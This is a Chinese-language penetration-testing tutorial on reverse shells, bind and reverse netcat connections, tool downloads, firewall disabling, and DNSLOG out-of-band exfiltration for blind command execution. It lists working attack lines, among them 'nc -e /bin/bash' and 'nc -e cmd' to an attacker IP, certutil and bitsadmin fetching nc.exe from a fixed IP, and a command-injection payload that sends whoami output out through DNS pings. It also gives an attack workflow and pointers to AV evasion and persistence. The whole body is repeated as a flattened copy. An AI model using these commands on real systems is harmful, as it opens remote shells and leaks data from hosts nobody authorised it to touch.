反弹SHELL&不回显外带&正反向连接&防火墙出入站&文件下载
字数 1271 2025-08-22 12:23:41

反弹SHELL与不回显外带技术详解

一、无图形化文件上传下载

1.1 文件上传方法

  • 将文件(如nc.exe)上传到服务器网站根目录下
  • 通过URL访问(如47.94.236.117/nc.exe)默认会触发下载

1.2 Windows命令行下载方法

certutil -urlcache -split -f http://47.94.236.117/nc.exe nc.exe
bitsadmin /transfer download /download /priority normal http://47.94.236.117/nc.exe C:\nc.exe

1.3 Linux命令行下载方法

wget http://47.94.236.117/nc.exe
curl -o nc.exe http://47.94.236.117/nc.exe

二、反弹Shell基础

2.1 反弹Shell概念

  • 将目标服务器的命令执行回显显示在攻击者服务器上
  • 优点:
    • 解决无回显问题
    • 流量不经过网页,更隐蔽

2.2 正向连接与反向连接

正向连接

  • 攻击者主动连接目标
  • 示例:
    • 目标(Linux): nc -lvp 5566 -e /bin/bash
    • 攻击者(Windows): nc 目标IP 5566

反向连接

  • 目标主动连接攻击者
  • 示例:
    • 攻击者(Windows): nc -lvp 5566
    • 目标(Linux): nc -e /bin/bash 攻击者IP 5566

三、内网环境下的反弹Shell

3.1 内网与外网区别

  • 内网:通过路由器访问互联网,外部无法直接访问
  • 外网:可直接被互联网访问的服务器

3.2 内网反弹Shell方法

  • 必须使用反向连接
  • 命令示例:
    • 目标(Windows): nc -e cmd 攻击者IP 5566
    • 攻击者(Linux): nc -lvp 5566

3.3 双内网情况

  • 需要外网服务器作为中转
  • 通过外网服务器将两台内网机器连接

四、不回显情况下的外带技术

4.1 DNSLOG外带原理

  • 通过DNS查询将命令执行结果外带
  • 适用于无回显的命令执行漏洞

4.2 Linux外带方法

ping `whoami`.dnslog域名

4.3 Windows外带方法

使用PowerShell组合命令:

$r = whoami; $t = '.dnslog域名'; $y = $r + $t; $u = $y.replace('\','2222222');ping $u;

4.4 实际应用示例

127.0.0.1 | powershell $r = whoami; $t = '.d0q291.dnslog.cn'; $y = $r + $t; $u = $y.replace('\','2222222');ping $u;

五、环境准备与工具安装

5.1 防火墙设置

Windows防火墙

  • 关闭所有入站和出站规则

Linux防火墙(CentOS 7)

systemctl stop firewalld.service
systemctl disable firewalld.service
systemctl status firewalld.service

CentOS 7之前版本

service iptables stop
chkconfig iptables off

5.2 NC工具安装

Windows

  • 下载地址:https://github.com/int0x33/nc.exe/
  • 注意安全风险,建议仅在测试环境使用

Linux

  • 安装netcat:
yum install netcat
  • 注意区分ncat和netcat命令

六、实战思路总结

  1. 确认命令执行点
  2. 判断系统类型(whoami)
  3. 测试出网情况(使用dnslog)
  4. 根据环境选择反弹方式:
    • 出网环境:直接反弹
    • 不出网环境:尝试DNS外带或搭建中转
  5. 上传必要工具(nc等)
  6. 建立反弹连接

七、注意事项

  1. DNSLOG平台可能被目标系统屏蔽,需自建
  2. 不同系统命令有差异,需灵活调整
  3. 实战中需考虑WAF检测等因素
  4. 反向连接成功率高于正向连接
  5. Windows和Linux的管道符和命令语法不同

八、扩展思考

  1. 如何绕过杀软检测?
  2. 无nc环境下的替代方案?
  3. 加密流量的反弹shell方法?
  4. 持久化维持访问的技术?
  5. 内网横向移动时的反弹shell策略?

通过系统学习反弹shell和外带技术,可以大大提高渗透测试的成功率,特别是在面对复杂网络环境时。建议在合法授权的环境下多加练习,熟练掌握各种场景下的应用方法。

反弹SHELL与不回显外带技术详解 一、无图形化文件上传下载 1.1 文件上传方法 将文件(如nc.exe)上传到服务器网站根目录下 通过URL访问(如47.94.236.117/nc.exe)默认会触发下载 1.2 Windows命令行下载方法 1.3 Linux命令行下载方法 二、反弹Shell基础 2.1 反弹Shell概念 将目标服务器的命令执行回显显示在攻击者服务器上 优点: 解决无回显问题 流量不经过网页,更隐蔽 2.2 正向连接与反向连接 正向连接 攻击者主动连接目标 示例: 目标(Linux): nc -lvp 5566 -e /bin/bash 攻击者(Windows): nc 目标IP 5566 反向连接 目标主动连接攻击者 示例: 攻击者(Windows): nc -lvp 5566 目标(Linux): nc -e /bin/bash 攻击者IP 5566 三、内网环境下的反弹Shell 3.1 内网与外网区别 内网:通过路由器访问互联网,外部无法直接访问 外网:可直接被互联网访问的服务器 3.2 内网反弹Shell方法 必须使用反向连接 命令示例: 目标(Windows): nc -e cmd 攻击者IP 5566 攻击者(Linux): nc -lvp 5566 3.3 双内网情况 需要外网服务器作为中转 通过外网服务器将两台内网机器连接 四、不回显情况下的外带技术 4.1 DNSLOG外带原理 通过DNS查询将命令执行结果外带 适用于无回显的命令执行漏洞 4.2 Linux外带方法 4.3 Windows外带方法 使用PowerShell组合命令: 4.4 实际应用示例 五、环境准备与工具安装 5.1 防火墙设置 Windows防火墙 关闭所有入站和出站规则 Linux防火墙(CentOS 7) CentOS 7之前版本 5.2 NC工具安装 Windows 下载地址:https://github.com/int0x33/nc.exe/ 注意安全风险,建议仅在测试环境使用 Linux 安装netcat: 注意区分ncat和netcat命令 六、实战思路总结 确认命令执行点 判断系统类型(whoami) 测试出网情况(使用dnslog) 根据环境选择反弹方式: 出网环境:直接反弹 不出网环境:尝试DNS外带或搭建中转 上传必要工具(nc等) 建立反弹连接 七、注意事项 DNSLOG平台可能被目标系统屏蔽,需自建 不同系统命令有差异,需灵活调整 实战中需考虑WAF检测等因素 反向连接成功率高于正向连接 Windows和Linux的管道符和命令语法不同 八、扩展思考 如何绕过杀软检测? 无nc环境下的替代方案? 加密流量的反弹shell方法? 持久化维持访问的技术? 内网横向移动时的反弹shell策略? 通过系统学习反弹shell和外带技术,可以大大提高渗透测试的成功率,特别是在面对复杂网络环境时。建议在合法授权的环境下多加练习,熟练掌握各种场景下的应用方法。